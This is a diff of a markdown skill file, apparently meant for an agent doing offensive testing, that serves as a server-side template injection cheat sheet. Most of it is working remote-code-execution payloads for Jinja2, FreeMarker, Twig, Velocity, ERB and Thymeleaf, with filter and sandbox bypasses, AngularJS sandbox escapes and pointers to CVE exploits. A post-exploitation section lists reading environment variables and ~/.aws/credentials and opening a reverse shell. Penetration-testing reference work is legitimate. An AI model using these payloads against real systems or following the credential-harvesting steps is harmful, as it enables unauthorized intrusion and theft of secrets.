Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
|
|
21
|
+
- Maccms 8.x PHP template `eval` — `{if-A:phpinfo()}{endif-A}` in `vod-search`, base64 bypass for webshell write
|
|
22
|
+
- Jira CVE-2019-11581 — "Contact Administrators" form → Velocity template injection → command output in admin email
|
|
23
|
+
- Spring Cloud Gateway SpEL (CVE-2022-22947) — actuator route injection with `StreamUtils.copyToByteArray` for output capture
|
|
24
|
+
- Struts2 OGNL S2-045 (CVE-2017-5638) — Content-Type header OGNL injection with `_memberAccess` / `OgnlUtil` blacklist clear
|
|
25
|
+
- Confluence OGNL CVE-2021-26084 — `createpage-entervariables.action` with `\u0027` unicode bypass
|
|
26
|
+
- SSTI vs EL injection disambiguation guide
|
|
27
|
+
- Additional template engines: ASP.NET Razor, Elixir EEx, PHP Smarty/Latte/Blade, JS Pug/Handlebars/Nunjucks/EJS/Lodash + universal detection + blind SSTI + Flask PIN calculation
|
|
28
|
+
|
|
29
|
+
**SCENARIOS.md reference (§7–§11):** For expanded payloads and engine-specific notes on Razor, EEx/LEEx/HEEx, PHP stacks, JavaScript template engines, the universal polyglot probe, mathematical fingerprinting, blind SSTI (boolean / time / OOB), and Flask debug PIN prerequisites, see [SCENARIOS.md](./SCENARIOS.md). This skill keeps a short checklist in §13–§15.
|
|
30
|
+
|
|
31
|
+
### Engine Payloads Reference
|
|
32
|
+
|
|
33
|
+
For extended engine-specific fingerprinting, payload matrices (Jinja2, Twig, Freemarker, Velocity, Pebble, Mako, Slim, Handlebars, Thymeleaf, Smarty, ERB, Jade/Pug), and blind SSTI detection techniques (timing-based, DNS-based), see [ENGINE_PAYLOADS.md](./ENGINE_PAYLOADS.md).
|
|
34
|
+
|
|
35
|
+
### Universal detection & blind SSTI (pointer)
|
|
36
|
+
|
|
37
|
+
Use the polyglot payload and math probes in §1 and §13 first; when you need fuller blind-test patterns and per-engine examples (including non-Python stacks), follow [SCENARIOS.md](./SCENARIOS.md) §11 and cross-check §14 here for technique names (boolean, time, OOB, error-based).
|
|
38
|
+
|
|
39
|
+
---
|
|
40
|
+
|
|
41
|
+
## 1. DETECTION — POLYGLOT PROBE SEQUENCE
|
|
42
|
+
|
|
43
|
+
First test: distinguish SSTI from XSS. Send these probes and check if **math is evaluated** server-side:
|
|
44
|
+
|
|
45
|
+
```
|
|
46
|
+
{{7*7}} → IF returns 49 (not {{7*7}}) → Jinja2 or Twig
|
|
47
|
+
${7*7} → IF returns 49 → FreeMarker, Velocity, or Java EL
|
|
48
|
+
#{7*7} → Ruby (ERB interpolation in strings)
|
|
49
|
+
<#assign x=7*7>${x} → FreeMarker
|
|
50
|
+
@{7*7} → Thymeleaf
|
|
51
|
+
*{7*7} → Thymeleaf SpEL (*{...})
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
**Jinja2 vs Twig disambiguation**:
|
|
55
|
+
```
|
|
56
|
+
{{7*'7'}}
|
|
57
|
+
→ 7777777 = Jinja2 (Python string multiplication)
|
|
58
|
+
→ 49 = Twig (PHP numeric)
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
**Safe detection probe** (no math, just boolean):
|
|
62
|
+
```
|
|
63
|
+
{{''.__class__}} → class 'str' = Python/Jinja2
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
---
|
|
67
|
+
|
|
68
|
+
## 2. ENGINE-TO-LANGUAGE MAPPING
|
|
69
|
+
|
|
70
|
+
| Template Engine | Language | Framework |
|
|
71
|
+
|---|---|---|
|
|
72
|
+
| Jinja2 | Python | Flask, FastAPI |
|
|
73
|
+
| Django Templates | Python | Django |
|
|
74
|
+
| Mako | Python | Pyramid |
|
|
75
|
+
| Twig | PHP | Symfony, Laravel |
|
|
76
|
+
| Smarty | PHP | Various |
|
|
77
|
+
| FreeMarker | Java | Spring MVC |
|
|
78
|
+
| Velocity | Java | Various Java |
|
|
79
|
+
| Pebble | Java | Various Java |
|
|
80
|
+
| Thymeleaf | Java | Spring Boot |
|
|
81
|
+
| ERB | Ruby | Rails |
|
|
82
|
+
| Slim / Haml | Ruby | Rails |
|
|
83
|
+
| Jade / Pug | Node.js | Express |
|
|
84
|
+
| Handlebars | Node.js | Express |
|
|
85
|
+
| Tornado | Python | Tornado |
|
|
86
|
+
|
|
87
|
+
Identifying language from errors → then narrow to template engine.
|
|
88
|
+
|
|
89
|
+
---
|
|
90
|
+
|
|
91
|
+
## 3. JINJA2 (PYTHON FLASK) — RCE CHAINS
|
|
92
|
+
|
|
93
|
+
### Chain 1: `os` module via `__globals__`
|
|
94
|
+
```python
|
|
95
|
+
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
|
|
96
|
+
```
|
|
97
|
+
|
|
98
|
+
### Chain 2: MRO subclass traversal (sandbox escape)
|
|
99
|
+
```python
|
|
100
|
+
# List all subclasses:
|
|
101
|
+
{{''.__class__.__mro__[1].__subclasses__()}}
|
|
102
|
+
|
|
103
|
+
# Find subprocess.Popen index (usually around 258-270, varies by Python version):
|
|
104
|
+
# Look for "subprocess.Popen" in the list
|
|
105
|
+
|
|
106
|
+
# Execute command (replace [258] with correct index):
|
|
107
|
+
{{''.__class__.__mro__[1].__subclasses__()[258]('id', shell=True, stdout=-1).communicate()[0]}}
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
### Chain 3: `request` object globals (works when `config` blocked)
|
|
111
|
+
```python
|
|
112
|
+
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
|
|
113
|
+
```
|
|
114
|
+
(Uses hex encoding to avoid `_` filtering)
|
|
115
|
+
|
|
116
|
+
### Chain 4: `lipsum` function globals (Flask built-in)
|
|
117
|
+
```python
|
|
118
|
+
{{lipsum.__globals__.os.popen('id').read()}}
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
### Chain 5: `cycler` object
|
|
122
|
+
```python
|
|
123
|
+
{{cycler.__init__.__globals__.os.popen('id').read()}}
|
|
124
|
+
```
|
|
125
|
+
|
|
126
|
+
### Finding correct subprocess index dynamically:
|
|
127
|
+
```python
|
|
128
|
+
# In injection:
|
|
129
|
+
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
|
|
130
|
+
{% if 'Popen' in c.__name__ %}
|
|
131
|
+
{{loop.index}}
|
|
132
|
+
{% endif %}
|
|
133
|
+
{% endfor %}
|
|
134
|
+
```
|
|
135
|
+
|
|
136
|
+
---
|
|
137
|
+
|
|
138
|
+
## 4. JINJA2 SANDBOX BYPASS TECHNIQUES
|
|
139
|
+
|
|
140
|
+
### When `_` (underscore) is blocked:
|
|
141
|
+
```python
|
|
142
|
+
# Use attr filter with hex encoding:
|
|
143
|
+
''|attr('\x5f\x5fclass\x5f\x5f')
|
|
144
|
+
|
|
145
|
+
# Use getattr via request object:
|
|
146
|
+
request|attr('args')|attr('__class__')
|
|
147
|
+
```
|
|
148
|
+
|
|
149
|
+
### When `.` (dot) is blocked:
|
|
150
|
+
```python
|
|
151
|
+
# Use [] subscript notation:
|
|
152
|
+
''['__class__']
|
|
153
|
+
config['SECRET_KEY']
|
|
154
|
+
```
|
|
155
|
+
|
|
156
|
+
### When keywords (class, mro) are blocked:
|
|
157
|
+
Use hex/unicode in `attr()`:
|
|
158
|
+
```python
|
|
159
|
+
|attr('\x5f\x5fclass\x5f\x5f')
|
|
160
|
+
|attr('\x5f\x5fm\x72\x6F\x5f\x5f')
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
### When output encoding strips HTML entities:
|
|
164
|
+
Use `|safe` filter to prevent auto-escaping.
|
|
165
|
+
|
|
166
|
+
---
|
|
167
|
+
|
|
168
|
+
## 5. FREEMARKER (JAVA) — RCE
|
|
169
|
+
|
|
170
|
+
### Execute Command via freemarker.template.utility.Execute
|
|
171
|
+
```freemarker
|
|
172
|
+
<#assign ex="freemarker.template.utility.Execute"?new()>
|
|
173
|
+
${ex("id")}
|
|
174
|
+
```
|
|
175
|
+
|
|
176
|
+
### Alternative via ObjectConstructor:
|
|
177
|
+
```freemarker
|
|
178
|
+
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
|
|
179
|
+
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.Runtime")?api.exec("id").inputStream))>
|
|
180
|
+
${br.readLine()}
|
|
181
|
+
```
|
|
182
|
+
|
|
183
|
+
---
|
|
184
|
+
|
|
185
|
+
## 6. TWIG (PHP) — RCE
|
|
186
|
+
|
|
187
|
+
```php
|
|
188
|
+
// Twig 1.x (before sandbox):
|
|
189
|
+
{{_self.env.registerUndefinedFilterCallback("exec")}}
|
|
190
|
+
{{_self.env.getFilter("id")}}
|
|
191
|
+
|
|
192
|
+
// Twig 2.x using built-ins:
|
|
193
|
+
{{['id']|map('system')|join}}
|
|
194
|
+
|
|
195
|
+
// via filter map:
|
|
196
|
+
{{app.request.server.all|join(',')}}
|
|
197
|
+
```
|
|
198
|
+
|
|
199
|
+
---
|
|
200
|
+
|
|
201
|
+
## 7. VELOCITY (JAVA) — RCE
|
|
202
|
+
|
|
203
|
+
```velocity
|
|
204
|
+
#set($str=$class.inspect("java.lang.Runtime").method.invoke($class.inspect("java.lang.Runtime").type, null))
|
|
205
|
+
#set($run=$str.exec("id"))
|
|
206
|
+
#set($out=$run.inputStream)
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
Or more directly:
|
|
210
|
+
```velocity
|
|
211
|
+
#set($class=$currentNode.getClass())
|
|
212
|
+
#set($rt=$class.forName("java.lang.Runtime"))
|
|
213
|
+
#set($proc=$rt.getMethod("exec",$class.forName("java.lang.String")).invoke($rt.getMethod("getRuntime").invoke(null),"id"))
|
|
214
|
+
```
|
|
215
|
+
|
|
216
|
+
---
|
|
217
|
+
|
|
218
|
+
## 8. ERB (RUBY RAILS) — RCE
|
|
219
|
+
|
|
220
|
+
```ruby
|
|
221
|
+
<%= system('id') %>
|
|
222
|
+
<%= `id` %>
|
|
223
|
+
<%= IO.popen('id').read %>
|
|
224
|
+
<%= File.read('/etc/passwd') %>
|
|
225
|
+
```
|
|
226
|
+
|
|
227
|
+
---
|
|
228
|
+
|
|
229
|
+
## 9. THYMELEAF (JAVA SPRING) — RCE
|
|
230
|
+
|
|
231
|
+
Thymeleaf with Spring EL (SpEL):
|
|
232
|
+
```java
|
|
233
|
+
// In th:text or th:fragment context:
|
|
234
|
+
__${T(java.lang.Runtime).getRuntime().exec("id")}__::type
|
|
235
|
+
|
|
236
|
+
// Fragment expression context:
|
|
237
|
+
__${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/sh","-c","id"}).getInputStream())}__::type
|
|
238
|
+
```
|
|
239
|
+
|
|
240
|
+
---
|
|
241
|
+
|
|
242
|
+
## 10. CLIENT-SIDE TEMPLATE INJECTION (AngularJS)
|
|
243
|
+
|
|
244
|
+
When AngularJS is used client-side and user data flows into template expressions:
|
|
245
|
+
|
|
246
|
+
```javascript
|
|
247
|
+
// AngularJS 1.x sandbox escape:
|
|
248
|
+
{{constructor.constructor('alert(1)')()}}
|
|
249
|
+
|
|
250
|
+
// 1.5.x:
|
|
251
|
+
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
|
|
252
|
+
|
|
253
|
+
// 1.3.x:
|
|
254
|
+
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
|
|
255
|
+
```
|
|
256
|
+
|
|
257
|
+
**Detection**: send `{{1+1}}` — if page shows `2`, AngularJS evaluates expressions in the DOM.
|
|
258
|
+
|
|
259
|
+
---
|
|
260
|
+
|
|
261
|
+
## 11. SSTI → FULL RCE PATH
|
|
262
|
+
|
|
263
|
+
```
|
|
264
|
+
SSTI detected → identify engine
|
|
265
|
+
├── Jinja2 → config.__globals__['os'].popen()
|
|
266
|
+
│ OR subclass traversal for Popen
|
|
267
|
+
├── FreeMarker → freemarker.template.utility.Execute?new()
|
|
268
|
+
├── Twig → _self.env.registerUndefinedFilterCallback('exec')
|
|
269
|
+
├── Velocity → java.lang.Runtime.exec()
|
|
270
|
+
├── ERB → <%= `cmd` %>
|
|
271
|
+
├── Thymeleaf → T(java.lang.Runtime).getRuntime().exec()
|
|
272
|
+
└── Angular CSTI → constructor.constructor('payload')()
|
|
273
|
+
```
|
|
274
|
+
|
|
275
|
+
**Post-RCE pivot**:
|
|
276
|
+
1. Read `/proc/self/environ` — env vars with credentials
|
|
277
|
+
2. Read application config files — DB passwords, API keys
|
|
278
|
+
3. `cat ~/.aws/credentials` — cloud credentials
|
|
279
|
+
4. Reverse shell for persistence
|
|
280
|
+
|
|
281
|
+
---
|
|
282
|
+
|
|
283
|
+
## 12. COMMON INJECTION ENTRY POINTS
|
|
284
|
+
|
|
285
|
+
Where user data enters templates:
|
|
286
|
+
- URL path: `https://site.com/home?name={{7*7}}`
|
|
287
|
+
- Query parameters: `?message=Hello`
|
|
288
|
+
- HTML forms: profile name, bio, content fields
|
|
289
|
+
- Error pages: `404 Not Found: /PAYLOAD`
|
|
290
|
+
- Email templates: name in password reset emails
|
|
291
|
+
- Inline template rendering: `render_template_string(user_input)`
|
|
292
|
+
|
|
293
|
+
**Most dangerous**: `render_template_string()` in Flask — entire user input used as template.
|
|
294
|
+
|
|
295
|
+
---
|
|
296
|
+
|
|
297
|
+
## 13. UNIVERSAL DETECTION PAYLOADS
|
|
298
|
+
|
|
299
|
+
**Polyglot probe** that triggers errors or evaluation in many engines:
|
|
300
|
+
|
|
301
|
+
```
|
|
302
|
+
${{<%[%'"}}%\.
|
|
303
|
+
```
|
|
304
|
+
|
|
305
|
+
**Mathematical probes** for blind/error confirmation:
|
|
306
|
+
|
|
307
|
+
```
|
|
308
|
+
{{7*7}} → 49 (Jinja2, Twig, Nunjucks, Handlebars)
|
|
309
|
+
${7*7} → 49 (FreeMarker, Velocity, EL, Thymeleaf)
|
|
310
|
+
<%= 7*7 %> → 49 (ERB, EJS, EEx)
|
|
311
|
+
#{7*7} → 49 (Pug, Ruby interpolation)
|
|
312
|
+
@(7*7) → 49 (Razor)
|
|
313
|
+
{7*7} → 49 (Smarty)
|
|
314
|
+
```
|
|
315
|
+
|
|
316
|
+
**Error-based engine fingerprint** (parser/stack traces often name the engine):
|
|
317
|
+
|
|
318
|
+
```
|
|
319
|
+
(1/0).zxy.zxy
|
|
320
|
+
```
|
|
321
|
+
|
|
322
|
+
---
|
|
323
|
+
|
|
324
|
+
## 14. BLIND SSTI TECHNIQUES
|
|
325
|
+
|
|
326
|
+
- **Boolean-based**: Compare `(3*4/2)` vs `3*)2(/4` — if the first resolves and the second errors, evaluation is likely
|
|
327
|
+
- **Time-based**: `{{sleep(5)}}` or the engine-specific equivalent for delay
|
|
328
|
+
- **OOB**: DNS/HTTP callback via template expressions when direct output is not visible
|
|
329
|
+
- **Error-based**: Force different error messages based on true/false conditions
|
|
330
|
+
|
|
331
|
+
---
|
|
332
|
+
|
|
333
|
+
## 15. FLASK PIN CALCULATION
|
|
334
|
+
|
|
335
|
+
When Flask **debug mode** (Werkzeug debugger) is exposed but **PIN-protected**, the PIN is derived from host-specific values. Typical inputs for public PIN calculation scripts:
|
|
336
|
+
|
|
337
|
+
1. **`username`** — from `/etc/passwd` (the user running the Flask process)
|
|
338
|
+
2. **Module name** — often `flask.app` or `Flask`
|
|
339
|
+
3. **Application path** — `app.py` or the real main filename
|
|
340
|
+
4. **MAC address** — e.g. `/sys/class/net/eth0/address`, converted to decimal as Werkzeug expects
|
|
341
|
+
5. **Machine ID** — `/etc/machine-id`, or `/proc/sys/kernel/random/boot_id` combined with the first line of `/proc/self/cgroup` per Werkzeug’s algorithm
|
|
342
|
+
6. **Compute PIN** — use established open-source PIN calculators that implement the same algorithm from these values
|
|
343
|
+
|
|
344
|
+
> Use only on systems you are authorized to test; obtaining these values implies prior access or an additional info-disclosure vector.
|